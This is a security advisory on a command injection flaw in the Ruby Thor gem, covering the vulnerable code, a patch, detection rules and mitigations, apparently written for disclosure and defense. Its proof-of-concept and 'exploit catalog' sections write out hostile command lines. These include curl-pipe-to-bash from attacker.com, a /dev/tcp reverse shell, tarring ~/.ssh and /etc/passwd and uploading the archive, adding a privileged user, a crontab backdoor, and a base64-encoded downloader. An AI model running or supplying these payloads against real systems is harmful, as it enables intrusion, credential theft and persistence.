Ruby on Rails Thor can construct an unsafe shell command from library input
Ruby on Rails Thor can construct an unsafe shell command from library input
Summary
A critical command injection vulnerability was discovered in the Thor gem’s file manipulation methods. The vulnerability allows attackers to execute arbitrary system commands by manipulating input passed to Thor’s utility methods, potentially leading to complete system compromise.
Vulnerability Details
Technical Characteristics
Component | Details |
---|---|
Vulnerability Type | Command Injection (CWE-78: OS Command Injection) |
Attack Vector | Malicious input passed to Thor’s utility methods |
Exploit Complexity | Low (no special privileges required) |
Affected Component | Thor’s command execution methods (run , download , etc.) |
Privileges Required | User executing Thor commands |
Root Cause Analysis
The vulnerability exists in Thor’s file manipulation methods where user-controlled input is directly interpolated into shell commands without proper sanitization.
Vulnerable Code (lib/thor/actions/file_manipulation.rb
):
def run(merge_tool, destination)
# 💥 CRITICAL: User input interpolated directly into shell command
system %(#{merge_tool} "#{temp.path}" "#{destination}")
end
Exploitation Flow
- Input Injection: Attacker controls input to Thor method (e.g., file path)
- Command Construction: Malicious input:
legit_file; curl http://attacker.com/mal.sh | bash
- Shell Interpretation: Thor constructs command:
diff_tool "legit_file; curl http://attacker.com/mal.sh | bash" "output"
- Command Execution: Shell interprets
;
as command separator - System Compromise: Malicious script downloads and executes
Proof of Concept
Basic Exploitation
Step 1: Create Vulnerable Thor Task
# exploit.thor
class Exploitable < Thor
desc "process FILE", "Vulnerable file processor"
def process(file)
# Vulnerable method (from Thor source)
system("echo Processing: #{file}") # UNSAFE
end
end
Step 2: Execute Malicious Payload
thor exploitable:process 'legit.txt; echo "Malicious Command Executed" > /tmp/thor_exploit'
Step 3: Verify Exploitation
cat /tmp/thor_exploit
# Output: "Malicious Command Executed"
Advanced Exploitation Scenarios
Scenario 1: Reverse Shell
thor exploitable:process 'file; bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"'
Scenario 2: Data Exfiltration
thor task:run 'arg; tar -czf /tmp/stolen.tar.gz ~/.ssh /etc/passwd; curl -F "file=@/tmp/stolen.tar.gz" https://attacker.com/exfil'
Scenario 3: Privilege Escalation
thor task:run 'input; sudo useradd -m attacker -s /bin/bash; echo "attacker:password" | sudo chpasswd'
Scenario 4: Persistence Mechanism
thor task:run 'file; echo "*/5 * * * * root backdoor" >> /etc/crontab'
Obfuscated Payloads
Hex-Encoded Payload:
thor task:run $'file\x0a\x3b\x65\x63\x68\x6f\x20\x22\x42\x79\x70\x61\x73\x73\x65\x64\x22\x20\x3e\x20\x2f\x74\x6d\x70\x2f\x70\x6f\x63'
# Decodes to: "file; echo "Bypassed" > /tmp/poc"
Base64-Encoded Payload:
thor task:run 'input; export PAYLOAD="IyEvYmluL2Jhc2gKY3VybCAtTyAvdG1wL2JhY2tkb29yIGh0dHBzOi8vYXR0YWNrZXIuY29tL2JhY2tkb29yLnNoCmNobW9kICt4IC90bXAvYmFja2Rvb3IKL3RtcC9iYWNrZG9vcgo=" | base64 -d | bash'
Impact Assessment
Attack Surface Analysis
Vulnerable Method | Attack Vector | Risk Level |
---|---|---|
system() | String interpolation | Critical |
exec() | Unsafe argument passing | Critical |
%x() | Backtick command execution | Critical |
Process.spawn() | Unsafe string format | High |
Process Execution Context
Context | Risk |
---|---|
Developer Workstation | Full system compromise |
CI/CD Pipeline | Build server takeover |
Production Systems | Data exfiltration, ransomware |
Containerized Environment | Container escape to host |
Business Impact
Department | Risk Level | Potential Consequences |
---|---|---|
Security | Critical | Full system compromise |
Legal | High | Regulatory penalties |
Engineering | High | Code integrity breach |
Customer Trust | High | Brand reputation damage |
Detection and Forensics
Indicators of Compromise
-
Process Logs:
$ ps aux | grep thor user 12345 thor task:run 'legit; curl malware.sh | bash' user 12346 bash -c curl malware.sh | bash
-
Command History:
$ history | grep thor 456 thor exploitable:process 'file; malicious_command'
-
File System Artifacts:
/tmp/thor_exploit
(timestamp matches attack)~/.thor/exploit.thor
(malicious task definition)- Unauthorized cron jobs (
/etc/cron.d/thor_backdoor
)
-
Network Evidence:
$ netstat -tulpn tcp ESTABLISHED 192.168.1.5:4444 → attacker.com:4444
Detection Signatures
Splunk Query:
index=os process="thor"
| regex command=".*(;|\||&).*"
| table _time, user, command
Auditd Rule:
auditctl -a exit,always -F arch=b64 -S execve -F exe=/usr/bin/thor
Remediation
Patch Analysis (PR #897)
Fixed Code:
def run(merge_tool, destination)
system(merge_tool, temp.path, destination) # 🛡️ Safe array format
end
Key Fix Mechanisms:
- Replaced string-based
system()
with array format - Arguments passed directly without shell interpretation
- Automatic escaping of special characters
- Comprehensive test coverage
Security Improvements
Test Coverage:
test "prevents command injection" do
malicious_input = "legit; echo exploited"
assert_raises(Errno::ENOENT) do
run("echo", malicious_input)
end
end
Post-Patch Behavior:
thor build:merge 'legit.txt; echo exploited'
# Error: No such file or directory - legit.txt; echo exploited
Mitigation Strategies
Code-Level Fixes
-
Use Array Format for System Calls:
system('wget', url) # Safe system(['curl', '-o', output, url]) # Also safe
-
Process.spawn with Explicit Arguments:
Process.spawn('curl', '-o', output, url)
-
Input Validation with Safelist:
SAFE_CHARS = /^[a-zA-Z0-9_\-\. ]+$/ raise "Invalid input" unless input.match?(SAFE_CHARS)
Operational Mitigations
-
Restricted Execution Environments:
require 'seccomp' filter = Seccomp.new do |rule| rule.allow(:read, :write, :exit) rule.kill!(:execve) # Block command execution end filter.load
-
Behavior Monitoring:
set_trace_func proc { |event, file, line, id, binding, classname| if event == 'call' && id == :system puts "WARNING: System call from #{file}:#{line}" end }
-
Secure Alternatives:
require 'open3' stdout, stderr, status = Open3.capture3('safe', 'command', 'args')
Complete Exploit Catalog
ID | Payload | Impact |
---|---|---|
EXP-1 | legit; id > /tmp/exploit | Command execution verification |
EXP-2 | file; curl http://attacker.com/malware.sh | bash | Remote code execution |
EXP-3 | path; echo 'exploited' >> /etc/passwd | System file modification |
EXP-4 | input; tar -czf /tmp/stolen.tar.gz ~/.ssh /etc/passwd | Data exfiltration |
EXP-5 | arg; sudo useradd -M -s /bin/bash attacker | Privilege escalation |
Timeline
- 2025-02-02: Vulnerability discovered during security research
- 2025-02-02: Initial report sent to HackerOne Ruby on Rails
- 2025-02-05: Vulnerability confirmed by development team Thor maintainers
- 2025-07-19: Patch development completed
- 2025-07-19: Security fix released in Thor v1.4.0
- 2025-07-20: Public disclosure and CVE assignment
Affected Methods
The following Thor methods were identified as vulnerable:
FileManipulation#run
FileDownloader#download
Actions#run
Actions#run_ruby_script
References
- Thor PR #897 - Fix Command Injection
- CWE-78: OS Command Injection
- OWASP Command Injection
- Ruby Security Guidelines
Acknowledgements
This vulnerability was discovered and reported by @odaysec security research team. Special thanks to:
- Thor maintainers for prompt response and remediation
- Ruby Security Working Group for guidance
- Rails Security Team for coordination